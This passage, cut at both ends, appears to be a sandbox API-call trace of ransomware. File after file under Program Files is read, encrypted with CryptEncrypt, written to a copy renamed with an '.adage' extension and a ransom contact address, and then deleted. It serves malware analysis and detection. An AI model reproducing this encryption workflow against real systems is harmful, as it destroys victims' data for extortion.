pbBuffer=0x334fce8) returned 1 [0061.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-pipelineconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.507] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=506) returned 1 [0061.507] CloseHandle (hObject=0x1ac) returned 1 [0061.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-pipelineconfig.xml")) returned 0x20 [0061.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-PipelineConfig.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-pipelineconfig.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.508] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-pipelineconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.508] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.508] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.509] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-PipelineConfig.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-pipelineconfig.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.509] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.509] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.509] ReadFile (in: hFile=0x1ac, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x1fa, lpOverlapped=0x0) returned 1 [0061.510] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x200, dwBufLen=0x200 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x200) returned 1 [0061.510] WriteFile (in: hFile=0x1b4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x200, lpOverlapped=0x0) returned 1 [0061.511] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.511] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.511] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x70, dwBufLen=0x70 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x70) returned 1 [0061.511] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.511] WriteFile (in: hFile=0x1b4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x122, lpOverlapped=0x0) returned 1 [0061.511] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.511] CloseHandle (hObject=0x1ac) returned 1 [0061.511] CloseHandle (hObject=0x1b4) returned 1 [0061.512] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote-PipelineConfig.xml" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote-pipelineconfig.xml")) returned 1 [0061.513] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote.ini" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.514] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=87) returned 1 [0061.514] CloseHandle (hObject=0x1b4) returned 1 [0061.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote.ini" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote.ini")) returned 0x20 [0061.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote.ini" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.514] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.514] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote.ini.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote.ini.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.514] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.515] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.515] ReadFile (in: hFile=0x1b4, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x57, lpOverlapped=0x0) returned 1 [0061.540] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60, dwBufLen=0x60 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x60) returned 1 [0061.540] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x60, lpOverlapped=0x0) returned 1 [0061.541] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.541] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.541] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0061.541] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.541] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0061.541] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.541] CloseHandle (hObject=0x1b4) returned 1 [0061.541] CloseHandle (hObject=0x1ac) returned 1 [0061.543] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\OneNote\\SendToOneNote.ini" (normalized: "c:\\program files\\microsoft office\\office16\\onenote\\sendtoonenote.ini")) returned 1 [0061.544] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.545] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=7124) returned 1 [0061.546] CloseHandle (hObject=0x1ac) returned 1 [0061.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml")) returned 0x20 [0061.546] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.546] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.546] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.546] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.546] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.546] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.546] ReadFile (in: hFile=0x1ac, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x1bd4, lpOverlapped=0x0) returned 1 [0061.548] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x1be0, dwBufLen=0x1be0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x1be0) returned 1 [0061.548] WriteFile (in: hFile=0x1b4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x1be0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x1be0, lpOverlapped=0x0) returned 1 [0061.549] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.549] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.549] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0061.549] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.549] WriteFile (in: hFile=0x1b4, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0061.549] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.549] CloseHandle (hObject=0x1ac) returned 1 [0061.549] CloseHandle (hObject=0x1b4) returned 1 [0061.551] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml")) returned 1 [0061.552] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.552] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2578) returned 1 [0061.552] CloseHandle (hObject=0x1b4) returned 1 [0061.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml")) returned 0x20 [0061.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0061.553] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.553] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0061.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0061.553] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d86a0) returned 1 [0061.553] CryptSetKeyParam (hKey=0x4d86a0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.553] ReadFile (in: hFile=0x1b4, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0xa12, lpOverlapped=0x0) returned 1 [0061.564] CryptEncrypt (in: hKey=0x4d86a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa20, dwBufLen=0xa20 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0xa20) returned 1 [0061.564] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xa20, lpOverlapped=0x0) returned 1 [0061.566] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d88e0) returned 1 [0061.566] CryptSetKeyParam (hKey=0x4d88e0, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0061.566] CryptEncrypt (in: hKey=0x4d88e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40, dwBufLen=0x40 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x40) returned 1 [0061.566] CryptDestroyKey (hKey=0x4d88e0) returned 1 [0061.566] WriteFile (in: hFile=0x1ac, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0xf2, lpOverlapped=0x0) returned 1 [0061.566] CryptDestroyKey (hKey=0x4d86a0) returned 1 [0061.566] CloseHandle (hObject=0x1b4) returned 1 [0061.567] CloseHandle (hObject=0x1ac) returned 1 [0061.573] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml")) returned 1 [0061.574] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0061.790] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=24259) returned 1 [0061.790] CloseHandle (hObject=0x188) returned 1 [0061.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml")) returned 0x20 [0061.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.791] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.890] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5375) returned 1 [0061.890] CloseHandle (hObject=0x198) returned 1 [0061.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml")) returned 0x20 [0061.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\connectionmanager_dmr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.890] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.891] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1220) returned 1 [0061.891] CloseHandle (hObject=0x198) returned 1 [0061.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg")) returned 0x20 [0061.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.891] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.892] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4265) returned 1 [0061.892] CloseHandle (hObject=0x198) returned 1 [0061.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png")) returned 0x20 [0061.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0061.892] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0061.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.893] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6363) returned 1 [0061.893] CloseHandle (hObject=0x198) returned 1 [0061.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml")) returned 0x20 [0061.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows media player\\media renderer\\renderingcontrol.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0061.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Media Player\\Media 